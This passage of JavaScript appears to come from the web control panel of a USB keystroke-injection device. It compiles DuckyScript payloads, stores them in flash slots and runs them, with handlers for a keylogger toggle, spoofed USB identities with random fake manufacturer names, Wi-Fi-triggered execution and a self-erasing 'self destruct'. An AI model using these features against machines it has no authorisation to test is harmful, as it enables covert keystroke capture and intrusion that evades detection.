{\n\t\t\t\t\tdocument.getElementById(`payloadStatusLight`).classList.remove(`statusLightActive`);\n\t\t\t\t\tdocument.getElementById(`payloadStorage`).classList.remove(`hidden`);\n\t\t\t\t\tdocument.getElementById(`payloadRun`).classList.add(`hidden`);\n\t\t\t\t\tdocument.getElementById('payloadRunPercentBar').style.width = \"0%\";\n\t\t\t\t\tdocument.getElementById('payloadRunPercent').innerHTML = \"0%\";\n\t\t\t\t\tdocument.getElementById(`footerNavPayloadRun`).classList.remove(`buttonRunning`);\n\t\t\t\t\tsendMessage(\"CLStatus\");\n\t\t\t\t\tif (ceStatusInterval) {\n\t\t\t\t\t\tclearInterval(ceStatusInterval);\n\t\t\t\t\t\tceStatusInterval = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\n\t\t\t\tlogMessage('CRIT', `apiResponseCEStatus: [status]:[${data}]`);\n\t\t\t};\n\t\t})();\n\t\t\n\t\t// CEStore\n\t\tfunction apiResponseCEStore(data) {\n\t\t\tviewDialog('payloadsaving', 'remove');\n\t\t}\n\t\t\n\t\t\n\t\t// Mode Toggles\n\t\tfunction apiResponseCJ(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage(`CRIT`, `apiResponseCJ: [data]:[${response}]`);\n\t\t\toutput = document.getElementById('response-CJ');\n\t\t\toutput.value = `${response}`;\n\t\t}\n\t\t\n\t\t// Bootscript\n\t\tfunction apiResponseStatusBootSlot(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tif (parameters.toString().charCodeAt(0) == 0o1) {\n\t\t\t\tdocument.getElementById(`toggle-slotSaveBoot`).classList.add(`active`);\n\t\t\t\tdocument.getElementById(`toggle-slotLoadBoot`).classList.add(`active`);\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`toggle-slotSaveBoot`).classList.remove(`active`);\n\t\t\t\tdocument.getElementById(`toggle-slotLoadBoot`).classList.remove(`active`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction payloadSetBootSlot(mode) {\n\t\t\tif (mode == \"on\") {\n\t\t\t\tsendMessage(`CTSet\\tbootscript\\tbootscript`);\n\t\t\t} else if (mode == \"off\") {\n\t\t\t\tsendMessage(`CTSet\\tbootscript\\t0`);\n\t\t\t}\n\t\t\tsendMessage(`CTList`);\n\t\t}\n\t\t\n\t\tfunction payloadSlotPair(slotValue) {\n\t\t\tvar payloadSlotPair = `CTSet\\tbootpair\\t${slotValue}`;\n\t\t\tsendMessage(payloadSlotPair);\n\t\t\tsendMessage(`CTList`);\n\t\t}\n\t\t\n\t\t// Payload Load\n\t\tfunction sendFlashReadCommands(iterations, slotAddress) {\n\t\t\tfor (let i = 0; i < iterations; i++) {\n\t\t\t\tconst currentAddress = slotAddress + (i * readSize);\n\t\t\t\tconst cmd = `[pL-${i+1}.${iterations}]FR${parseInt(currentAddress)}\\t${readSize}`;\n\t\t\t\tlogMessage(`INFO`, `Flash Read Commands: [${cmd}]`);\n\t\t\t\tsendMessage(cmd);\n\t\t\t\tsleep(50);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction payloadSlotLoad(slotValue) {\n\t\t\tif(slotValue == \"\") {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tcreateDialog({\n\t\t\t\tid: 'payloadloading',\n\t\t\t\ttitle: 'Loading Payload',\n\t\t\t\tdescription: `Please wait...`,\n\t\t\t\tcloseEnabled: true,\n\t\t\t});\n\t\t\tpayloadEditorFilename = document.getElementById(`payloadEditorFilename`);\n\t\t\tpayloadEditorFilename.innerHTML = slotValue;\n\t\t\n\t\t\tpayloadSaveMenuInput = document.getElementById(`payloadSelect`);\n\t\t\tpayloadSaveMenuInput.value = slotValue;\n\t\t\n\t\t\tsplitPayload = [];\n\t\t\tsplitPayloadCounter = 0;\n\t\t\tconst slotElement = document.getElementById(slotValue);\n\t\t\tconst payloadSlotBlocks = slotElement.name.toString(16);\n\t\t\tconst payloadSlotAddress = parseInt(payloadSlotBlocks) * blockSize;\n\t\t\tconst payloadSlotSize = parseInt(slotElement.value) * (blockSize / readSize);\n\t\t\tconst iterations = parseInt(payloadSlotSize, 10);\n\t\t\n\t\t\tsendFlashReadCommands(iterations, payloadSlotAddress);\n\t\t}\n\t\t\n\t\tfunction loadUserPayload(splitPayload) {\n\t\t\tconst payloadElement = document.getElementById(\"payload\");\n\t\t\tlet endIndex = splitPayload.length;\n\t\t\n\t\t\tfor (let i = 0; i < splitPayload.length; i++) {\n\t\t\t\tif (splitPayload.charCodeAt(i) === 0 || splitPayload.charCodeAt(i) === 255 || splitPayload.charAt(i) === \"�\") {\n\t\t\t\t\tendIndex = i;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tpayloadElement.value = splitPayload.slice(0, endIndex);\n\t\t\tlogMessage(`INFO`, `! LOADING USER PAYLOAD`);\n\t\t\tviewDialog('payloadloading', 'remove');\n\t\t\ttoggleModule('payloadFileMenu', 'close');\n\t\t\tpayloadFileMenuButton = document.getElementById(`footerNavPayloadMenu`);\n\t\t\tpayloadFileMenuButton.classList.remove('buttonSelectedGrey');\n\t\t}\n\t\t\n\t\tfunction apiResponsePayloadLoad(data) {\n\t\t\tconst { response, parameters } = parseData(data.toString());\n\t\t\n\t\t\tif (parameters.length === 1) {\n\t\t\t\tsplitPayload.push(parameters[0]);\n\t\t\t\tif (splitPayloadCounter === 15) {\n\t\t\t\t\tsplitPayload = splitPayload.join('');\n\t\t\t\t\tloadUserPayload(splitPayload);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tlogMessage(`INFO`, `! THIS PAYLOAD SLOT IS EMPTY`);\n\t\t\t}\n\t\t\n\t\t\tlogMessage(`DEBUG`, `loadPayloadCallback: [data]:[${response}]`);\n\t\t\tsplitPayloadCounter += 1;\n\t\t\tpayloadEditorSavedElement = document.getElementById('payloadEditorSaved');\n\t\t\tpayloadEditorSavedElement.innerHTML = \"Saved\";\n\t\t\n\t\t\tpayloadEditorFilenameValue = document.getElementById(`payloadEditorFilename`).innerHTML;\n\t\t\tpayloadEditorBootable = document.getElementById('payloadEditorBootable');\n\t\t\n\t\t\tif (bootpair == payloadEditorFilenameValue) {\n\t\t\t\tpayloadEditorBootable.innerHTML = \" + bootscript\";\n\t\t\t\tpayloadSaveMenuBootable = document.getElementById(`ayload-runOnBoot`);\n\t\t\t\tpayloadSaveMenuBootable.classList.add('buttonSelected');\n\t\t\t} else {\n\t\t\t\tpayloadEditorBootable.innerHTML = \"\";\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Payload Save\n\t\tfunction payloadSlotSave(slotValue) {\n\t\t\tif(slotValue == \"\") {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\titerations = 0;\n\t\t\tcreateDialog({\n\t\t\t\tid: 'payloadsaving',\n\t\t\t\ttitle: 'Saving Payload',\n\t\t\t\tdescription: `Please wait...`,\n\t\t\t\tcloseEnabled: true,\n\t\t\t});\n\t\t\n\t\t\tlet bootpairvalue = document.getElementById(\"bootscriptPair\").value;\n\t\t\tpayloadEditorSavedElement = document.getElementById('payloadEditorSaved');\n\t\t\tpayloadEditorSavedElement.innerHTML = \"Saved\";\n\t\t\tconst payloadEditor = document.getElementById('payload');\n\t\t\tconst payloadOutput = document.getElementById('payloadoutput');\n\t\t\n\t\t\tpayloadOutput.value = payloadOutput;\n\t\t\n\t\t\tconst sectorSize = 4096;\n\t\t\tif (slotValue == \"bootscript\") {\n\t\t\t\tscriptcode = compileDuckyScript();\n\t\t\t\twriteSize = 1020;\n\t\t\t} else {\n\t\t\t\tscriptcode = [unescapeHtml(payloadEditor.value)];\n\t\t\t\twriteSize = 1024;\n\t\t\t}\n\t\t\tconst payloadSlotBlocks = document.getElementById(slotValue).name;\n\t\t\tconst payloadSlotSectors = document.getElementById(slotValue).value;\n\t\t\tconst payloadSlotSize = payloadSlotSectors * sectorSize;\n\t\t\tconst payloadSlotAddress = payloadSlotBlocks * sectorSize;\n\t\t\n\t\t\tlet totalLength = scriptcode.reduce((accumulator, currentValue) => {\n\t\t\t\treturn accumulator + currentValue.toString().length;\n\t\t\t}, 0);\n\t\t\n\t\t\tif (totalLength > payloadSlotSize) {\n\t\t\t\tlogMessage(`INFO`, `? PAYLOAD LENGTH TOO LONG: [${totalLength} bytes of ${payloadSlotSize} bytes.`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tif (slotValue !== \"bootscript\") {\n\t\t\t\tfor (let i = 0; i < payloadSlotSectors; i++) {\n\t\t\t\t\tsendMessage(`FE${String(parseInt(payloadSlotBlocks) + i)}`);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (slotValue == \"bootscript\") {\n\t\t\t\tfor (let i = 0; i < payloadSlotSectors; i++) {\n\t\t\t\t\tsendMessage(`FE${String(parseInt(payloadSlotBlocks) + i)}`);\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\titerations = Math.ceil(totalLength / writeSize);\n\t\t\tif(slotValue == \"bootscript\") {\n\t\t\t\tscriptcode.forEach(payload => {\n\t\t\t\t\tcmd = `[pS-bootscript]CEStore\\tbootscript\\t${payload}`;\n\t\t\t\t\tsendMessage(cmd);\n\t\t\t\t});\n\t\t\t} else {\n\t\t\t\tscriptcode.forEach(payload => {\n\t\t\t\t\tfor (let i = 0; i < iterations; i++) {\n\t\t\t\t\t\tparsement = payload.substr(i * writeSize, writeSize);\n\t\t\t\t\t\tconst alignment = Math.ceil(parsement.length / 4) * 4;\n\t\t\t\t\t\tconst slotAddress = parseInt(payloadSlotAddress) + i * writeSize;\n\t\t\t\t\t\tcmd = `[pS-${i}.${iterations}]FW${slotAddress}\\t${alignment}\\t${parsement}`;\n\t\t\t\t\t\tif (slotValue == \"bootscript\" && parsement !== \"\") {\n\t\t\t\t\t\t\tcmd = `[pS-${i}.${iterations}]CEStore\\tbootscript\\t${parsement}`;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tsendMessage(cmd);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\n\t\t\tlogMessage(`INFO`, `! SAVED USER PAYLOAD TO SLOT ${slotValue}`, `Payload Saved to ${slotValue}.`);\n\t\t\tpayloadEditorFilename = document.getElementById(`payloadEditorFilename`);\n\t\t\tpayloadEditorFilename.innerHTML = slotValue;\n\t\t\tpayloadEditorBootable = document.getElementById('payloadEditorBootable');\n\t\t\n\t\t\tif (bootpair == slotValue) {\n\t\t\t\tpayloadSlotSave(\"bootscript\");\n\t\t\t\tpayloadEditorFilename.innerHTML = bootpairvalue;\n\t\t\t\tpayloadEditorBootable.innerHTML = \" + bootscript\";\n\t\t\t} else {\n\t\t\t\tpayloadEditorBootable.innerHTML = \"\";\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet slotSaveTimeoutId = null;\n\t\t\n\t\tfunction apiResponsePayloadSave(data) {\n\t\t\tlogMessage(`CRIT`, `apiResponsePayloadSave: ${typeof data}`);\n\t\t\tlogMessage(`WARN`, `Writing Payload to Slot - ${splitPayloadCounter + 1} of ${iterations}`, `Payload Saved to Slot.`);\n\t\t\n\t\t\tif (slotSaveTimeoutId !== null) {\n\t\t\t\tclearTimeout(slotSaveTimeoutId);\n\t\t\t}\n\t\t\n\t\t\tslotSaveTimeoutId = setTimeout(() => {\n\t\t\t\tviewDialog('payloadsaving', 'remove');\n\t\t\t}, 4000);\n\t\t\n\t\t\tsplitPayloadCounter += 1;\n\t\t\n\t\t\tif (splitPayloadCounter == iterations) {\n\t\t\t\tviewDialog('payloadsaving', 'remove');\n\t\t\t\tclearTimeout(slotSaveTimeoutId);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Payload Run\n\t\tfunction payloadRun() {\n\t\t\tconst footerNavPayloadRun = document.getElementById(\"footerNavPayloadRun\");\n\t\t\tscriptcode = ``;\n\t\t\tscriptcode = compileDuckyScript();\n\t\t\n\t\t\tlet counter = 0;\n\t\t\tscriptcode.forEach(payload => {\n\t\t\t\tlet command_line = counter === 0 ? `CE[${crc16}]${payload}` : `CE[${crc16}]${payload}`;\n\t\t\t\tcounter++;\n\t\t\n\t\t\t\tif (!payload) {\n\t\t\t\t\tfooterNavPayloadRun.classList.remove(\"buttonRunning\");\n\t\t\t\t\tlogMessage(\"INFO\", \"? SCRIPT SYNTAX IS INVALID\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\n\t\t\t\tsendMessage(command_line);\n\t\t\t\tlogMessage(`CRIT`, `Queueing Payload Segment: [cmd]:[${command_line}]`);\n\t\t\t});\n\t\t\n\t\t\tlogMessage(`INFO`, `Payload Running`);\n\t\t\tsendMessage(\"CEStatus\");\n\t\t}\n\t\t\n\t\tconst validateAndLogError = (value, cmd, lengthRange, errorMsg) => {\n\t\t\tif (value && (value.length < lengthRange[0] || value.length > lengthRange[1])) {\n\t\t\t\tlogMessage('INFO', `! ALERT: Payload Compile Failed. ${cmd} ${errorMsg}`);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t};\n\t\t\n\t\tconst commandConfigs = {\n\t\t\t\"IF_PRESENT\": { prefixSSID: \"24\", prefixBSSID: \"25\", cmdFooter: \"0307\" },\n\t\t\t\"IF_NOTPRESENT\": { prefixSSID: \"26\", prefixBSSID: \"27\", cmdFooter: \"0307\" },\n\t\t\t\"WAIT_FOR_PRESENT\": { prefixSSID: \"28\", prefixBSSID: \"29\", cmdFooter: \"0407\" },\n\t\t\t\"WAIT_FOR_NOTPRESENT\": { prefixSSID: \"2A\", prefixBSSID: \"2B\", cmdFooter: \"0407\" }\n\t\t};\n\t\t\n\t\tconst commandPrefixes = {\n\t\t\t\"VID\": \"0E\",\n\t\t\t\"PID\": \"0F\",\n\t\t\t\"MAN\": \"15\",\n\t\t\t\"PRO\": \"16\",\n\t\t\t\"SER\": \"17\",\n\t\t\t\"USB\": \"10\",\n\t\t\t\"JIGGLER\": \"11\",\n\t\t\t\"HIDX\": \"32\"\n\t\t};\n\t\t\n\t\tfunction handleGeofencingCommands(cmd, args) {\n\t\t\tconst config = commandConfigs[cmd];\n\t\t\tif (!config || !args) {\n\t\t\t\tlogMessage('INFO', `! ALERT: Payload Compile Failed. ${cmd} requires one of the following: SSID and BSSID.`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tconst argSSID = extractArg(args, /SSID=['\"]([^'\"]*)['\"]/);\n\t\t\tconst argBSSID = extractArg(args, /BSSID=['\"]([^'\"]*)['\"]/);\n\t\t\tconst argSIGNAL = extractArg(args, /SIGNAL=['\"]([^'\"]*)['\"]/);\n\t\t\tconst argMINUTES = extractArg(args, /MINUTES=['\"]([^'\"]*)['\"]/);\n\t\t\tconst argINTERVAL = extractArg(args, /INTERVAL=['\"]([^'\"]*)['\"]/);\n\t\t\n\t\t\tlogMessage('CRIT', `geofencing: [cmd]:[${cmd}] [${args}] [ssid]:[${argSSID}] [bssid]:[${argBSSID}] [signal]:[${argSIGNAL}] [minutes]:[${argMINUTES}] [interval]:[${argINTERVAL}]`);\n\t\t\n\t\t\tif (argSSID && argBSSID) {\n\t\t\t\tlogMessage('INFO', `! ALERT: Payload Compile Failed. ${cmd} does not support both SSID and BSSID.`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tif (argSSID || argBSSID) {\n\t\t\t\tconst cmdPrefix = argSSID ? config.prefixSSID : config.prefixBSSID;\n\t\t\t\tconst argToUse = argSSID || argBSSID;\n\t\t\n\t\t\t\tif (argBSSID && !validateAndLogError(argBSSID, cmd, [17, 17], `BSSID IS THE WRONG LENGTH. Example: AA:BB:CC:DD:EE:FF vs ${argBSSID}`)) return;\n\t\t\n\t\t\t\tlet cmdData = \"\";\n\t\t\t\tfor (let i = 0; i < argToUse.length; i++) {\n\t\t\t\t\tcmdData += (argToUse[i].length % 2 !== 0) ? `${cmdPrefix}${asciiToHex(argToUse[i])}00` : `${cmdPrefix}${asciiToHex(argToUse[i])}`;\n\t\t\t\t}\n\t\t\n\t\t\t\tif (!validateAndLogError(argSIGNAL, cmd, [2, 3], `SIGNAL is invalid. Must be a number between 0 and 99`)) return;\n\t\t\t\tconst cmdSignal = argSIGNAL ? `${cmdPrefix}02${toHex(argSIGNAL)}` : '';\n\t\t\n\t\t\t\tif (!validateAndLogError(argMINUTES, cmd, [2, 3], `MINUTES is invalid. Must be a number between 0 and 60`)) return;\n\t\t\t\tconst cmdMinutes = argMINUTES ? `${cmdPrefix}02${toHex(argMINUTES)}` : `${cmdPrefix}0203`;\n\t\t\n\t\t\t\tif (!validateAndLogError(argINTERVAL, cmd, [2, 4], `INTERVAL is invalid. Must be a number between 0 and 255`)) return;\n\t\t\t\tconst cmdInterval = argINTERVAL ? `${cmdPrefix}03${toHex(argINTERVAL)}` : `${cmdPrefix}0300`;\n\t\t\n\t\t\t\tconst cmdArguments = (cmd === \"IF_PRESENT\" || cmd === \"IF_NOTPRESENT\") ? cmdSignal : `${cmdMinutes}${cmdInterval}`;\n\t\t\n\t\t\t\tpayloadIntermediate = `${cmdPrefix}0106${cmdData}${cmdArguments}${cmdPrefix}${config.cmdFooter}`;\n\t\t\t} else {\n\t\t\t\tlogMessage('INFO', `! ALERT: Payload Compile Failed. ${cmd} requires one of the following: SSID and BSSID.`);\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleVidPidCommands(cmd, args, random = false) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tlet prefix = commandPrefixes[cmd];\n\t\t\tif (!prefix) {\n\t\t\t\tconsole.error(`Invalid command: ${cmd}`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tlet arg = random ? generateRandomHex(4) : args[0].toUpperCase();\n\t\t\tif (/^[\\da-fA-F]+$/.test(arg) && arg.length === 4) {\n\t\t\t\tpayloadIntermediate += `${prefix}${arg}`;\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleManProSerCommands(cmd, args, random = false) {\n\t\t\tlet prefix = commandPrefixes[cmd];\n\t\t\tif (!prefix) {\n\t\t\t\tconsole.error(`Invalid command: ${cmd}`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tlet argValue = random ? generateRandomWords() : args[0];\n\t\t\tif (!argValue) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tconst argHex = asciiToHex(argValue);\n\t\t\tlet payloadParts = [`${prefix}0106`];\n\t\t\tfor (let i = 0; i < argHex.length; i = i + 4) {\n\t\t\t\tlet temp = argHex.substr(i, 4).toString(16);\n\t\t\t\tif (argHex.length % 2 !== 0) {\n\t\t\t\t\tpayloadParts.push(`${prefix}${temp}00`);\n\t\t\t\t} else {\n\t\t\t\t\tif (temp.length < 4) {\n\t\t\t\t\t\ttemp = temp + \"00\";\n\t\t\t\t\t}\n\t\t\t\t\tpayloadParts.push(`${prefix}${temp}`);\n\t\t\t\t}\n\t\t\t}\n\t\t\tpayloadParts.push(`${prefix}0207`);\n\t\t\tpayloadIntermediate = payloadParts.join('');\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleKeyloggerCommands(args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tif (args[0] != undefined) {\n\t\t\t\tlet mode = \"02\";\n\t\t\t\tif (args[1] != undefined && args[1].toUpperCase() == \"HID\") {\n\t\t\t\t\tmode = \"01\";\n\t\t\t\t}\n\t\t\t\tif (args[0].toUpperCase() == 'ON' || args[0] == '1') {\n\t\t\t\t\tpayloadIntermediate += `19` + mode + `00`;\n\t\t\t\t} else if (args[0].toUpperCase() == 'OFF' || args[0] == '0') {\n\t\t\t\t\tpayloadIntermediate += `1A0000`;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleUsbJigglerCommands(cmd, args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tlet prefix = commandPrefixes[cmd];\n\t\t\tif (!prefix) {\n\t\t\t\tconsole.error(`Invalid command: ${cmd}`);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tswitch (args[0].toUpperCase()) {\n\t\t\t\tcase 'ON':\n\t\t\t\tcase '1':\n\t\t\t\t\tpayloadIntermediate += `${prefix}0001`;\n\t\t\t\t\tbreak\n\t\t\t\tcase 'OFF':\n\t\t\t\tcase '0':\n\t\t\t\t\tpayloadIntermediate += `${prefix}0000`;\n\t\t\t\t\tbreak\n\t\t\t\tdefault:\n\t\t\t\t\tlogMessage(`INFO`, `! ERROR: Invalid ${cmd} Argument. Requires ON or OFF`);\n\t\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleMouseCommands(args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tconst command = args[0].toUpperCase();\n\t\t\tconst direction = {\n\t\t\t\t\"-1\": \"04\",\n\t\t\t\t\"1\": \"03\",\n\t\t\t\t\"0\": \"03\"\n\t\t\t};\n\t\t\n\t\t\tpayloadIntermediate = \"\";\n\t\t\n\t\t\tfunction toHex(value) {\n\t\t\t\treturn value.toString(16).padStart(2, '0');\n\t\t\t}\n\t\t\n\t\t\tfunction updatePayload(x, y) {\n\t\t\t\tlet isNegativeX = x < 0;\n\t\t\t\tlet isNegativeY = y < 0;\n\t\t\t\tlet limitX = isNegativeX ? 127 : 128;\n\t\t\t\tlet limitY = isNegativeY ? 127 : 128;\n\t\t\t\twhile (Math.abs(x) > limitX || Math.abs(y) > limitY) {\n\t\t\t\t\tlet stepX = 0,\n\t\t\t\t\t\tstepY = 0;\n\t\t\t\t\tif (Math.abs(x) > limitX) {\n\t\t\t\t\t\tstepX = isNegativeX ? -limitX : limitX;\n\t\t\t\t\t\tx -= stepX;\n\t\t\t\t\t}\n\t\t\t\t\tif (Math.abs(y) > limitY) {\n\t\t\t\t\t\tstepY = isNegativeY ? -limitY : limitY;\n\t\t\t\t\t\ty -= stepY;\n\t\t\t\t\t}\n\t\t\t\t\tconst prefixX = direction[Math.sign(stepX).toString()];\n\t\t\t\t\tconst prefixY = direction[Math.sign(stepY).toString()];\n\t\t\t\t\tpayloadIntermediate += `${prefixX}${toHex(Math.abs(stepX))}00`;\n\t\t\t\t\tpayloadIntermediate += `${prefixY}00${toHex(Math.abs(stepY))}`;\n\t\t\t\t}\n\t\t\t\tconst prefixX = direction[Math.sign(x).toString()];\n\t\t\t\tconst prefixY = direction[Math.sign(y).toString()];\n\t\t\t\tpayloadIntermediate += `${prefixX}${toHex(Math.abs(x))}00`;\n\t\t\t\tpayloadIntermediate += `${prefixY}00${toHex(Math.abs(y))}`;\n\t\t\t}\n\t\t\n\t\t\tif (command === 'MOVE') {\n\t\t\t\tlet x = parseInt(args[1]);\n\t\t\t\tlet y = parseInt(args[2]);\n\t\t\t\tif (!Number.isNaN(x) && !Number.isNaN(y)) {\n\t\t\t\t\tupdatePayload(x, y);\n\t\t\t\t}\n\t\t\t} else if (command === 'CLICK') {\n\t\t\t\tconst mouseButtonID = parseInt(args[1]);\n\t\t\t\tif (!Number.isNaN(mouseButtonID)) {\n\t\t\t\t\tpayloadIntermediate += `0500${toHex(mouseButtonID)}`;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleSelfDestructCommands(args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\n\t\t\tif (args == \"\") {\n\t\t\t\targs = 1;\n\t\t\t}\n\t\t\tconst payloadCommands = {\n\t\t\t\t'1': '130000',\n\t\t\t\t'2': '140000'\n\t\t\t};\n\t\t\tconst messages = {\n\t\t\t\t'1': 'Full Erase',\n\t\t\t\t'2': 'Data Passthrough'\n\t\t\t};\n\t\t\tif (args in payloadCommands) {\n\t\t\t\tlogMessage('INFO', `Self Destruct is running. ${messages[args]}`);\n\t\t\t\tpayloadIntermediate += `${payloadCommands[args]}`;\n\t\t\t} else {\n\t\t\t\tlogMessage('INFO', 'Self Destruct was not run due to invalid parameter.');\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleDelayCommands(args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tlet iDelay = parseInt(args[0]) / 10;\n\t\t\n\t\t\tif (Number.isNaN(iDelay)) {\n\t\t\t\tlogMessage('INFO', `ERROR: DELAY VALUE IS NOT AN INTEGER`);\n\t\t\t\tbRunPayload = false;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\twhile (iDelay > 65535) {\n\t\t\t\tpayloadIntermediate += `1DFFFF`;\n\t\t\t\tiDelay -= 65535;\n\t\t\t}\n\t\t\n\t\t\tpayloadIntermediate += `1D${toHex(iDelay, 4)}`;\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction handleDuckyLangCommands(args) {\n\t\t\tconst lang = args[0];\n\t\t\tif (keymapList.includes(lang.toUpperCase())) {\n\t\t\t\tgenerateKeymap(lang.toUpperCase());\n\t\t\t\tsleep(100);\n\t\t\t} else {\n\t\t\t\tlogMessage(`INFO`, `WARNING: DUCKY_LANG ${args} is not one of ${keymapListPretty}. Defaulting to US`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction handleDefaultDelayCommands(args) {\n\t\t\tdefaultDelay = args[0];\n\t\t\tlogMessage(`INFO`, `DEFAULT_DELAY is set to: ${defaultDelay} ms`);\n\t\t}\n\t\t\n\t\tfunction handleDefaultDelayJitterCommands(args) {\n\t\t\tdefaultDelayJitter = args[0];\n\t\t\tlogMessage(`INFO`, `DEFAULT_DELAY_JITTER is set to: ${defaultDelayJitter} ms`);\n\t\t}\n\t\t\n\t\tfunction handleDefaultCharDelayCommands(args) {\n\t\t\tdefaultCharDelay = args[0];\n\t\t\tlogMessage(`INFO`, `DEFAULT_DELAY is set to: ${defaultCharDelay} ms`);\n\t\t}\n\t\t\n\t\tfunction handleDefaultCharDelayJitterCommands(args) {\n\t\t\tdefaultCharDelayJitter = args[0];\n\t\t\tlogMessage(`INFO`, `DEFAULT_DELAY_JITTER is set to: ${defaultCharDelayJitter} ms`);\n\t\t}\n\t\t\n\t\tfunction handleNamedKeyCombinationCommands(cmd, args) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tlet iModify = 0;\n\t\t\tlet words = cmd.split(/[-+]/).concat(args);\n\t\t\n\t\t\twhile (words.length > 0) {\n\t\t\t\tif (modifiers[words[0].toUpperCase()] != undefined) {\n\t\t\t\t\tiModify |= modifiers[words[0].toUpperCase()];\n\t\t\t\t\twords = words.slice(1);\n\t\t\t\t} else {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tif (words.length == 0) {\n\t\t\t\tpayloadIntermediate += `01${toHex(iModify)}00`;\n\t\t\t} else if (words.length == 1 && keyToHidMapping(words[0]) != undefined) {\n\t\t\t\tconst [mod, hid] = keyToHidMapping(words[0]);\n\t\t\t\tiModify |= mod;\n\t\t\t\tpayloadIntermediate += `01${toHex(iModify)}${hid}`;\n\t\t\t} else {\n\t\t\t\tlogMessage(`INFO`, `Payload Compile Failed: Unrecognized argument (${words[0]})`);\n\t\t\t\tthrow new Error(`Unrecognized argument (${words[0]})`);\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\tfunction generateRandomHex(length) {\n\t\t\tlet result = \"\";\n\t\t\tconst characters = '0123456789ABCDEF';\n\t\t\tfor (let i = 0; i < length; i++) {\n\t\t\t\tresult += characters[Math.floor(Math.random() * characters.length)];\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t\t\n\t\tfunction generateRandomWords() {\n\t\t\tconst wordCount = Math.floor(Math.random() * 4) + 2;\n\t\t\tlet randomWords = [];\n\t\t\tfor (let i = 0; i < wordCount; i++) {\n\t\t\t\tconst wordLength = Math.floor(Math.random() * 7) + 1;\n\t\t\t\tlet word = '';\n\t\t\t\tfor (let j = 0; j < wordLength; j++) {\n\t\t\t\t\tif (j === 0) {\n\t\t\t\t\t\tword += String.fromCharCode(Math.floor(Math.random() * 26) + 65);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tword += String.fromCharCode(Math.floor(Math.random() * 26) + 97);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trandomWords.push(word);\n\t\t\t}\n\t\t\tconst suffixes = [', Inc.', ' Ltd.', ' Pty.', ' LLC', ' Corp.', ' Co.'];\n\t\t\tconst suffix = suffixes[Math.floor(Math.random() * suffixes.length)];\n\t\t\treturn randomWords.join(' ') + suffix;\n\t\t}\n\t\t\n\t\tfunction handleRandomCommands(cmd) {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tconst commandToCharactersMap = {\n\t\t\t\tRANDOM_LOWERCASE_LETTER: 'abcdefghijklmnopqrstuvwxyz',\n\t\t\t\tRANDOM_UPPERCASE_LETTER: 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',\n\t\t\t\tRANDOM_LETTER: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',\n\t\t\t\tRANDOM_NUMBER: '0123456789',\n\t\t\t\tRANDOM_SPECIAL: '!@#$%^&*()',\n\t\t\t\tRANDOM_CHAR: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()',\n\t\t\t};\n\t\t\n\t\t\tconst randomCharacters = commandToCharactersMap[cmd];\n\t\t\n\t\t\tif (randomCharacters) {\n\t\t\t\tconst selected = randomCharacters.charAt(Math.floor(Math.random() * randomCharacters.length));\n\t\t\t\tpayloadIntermediate += 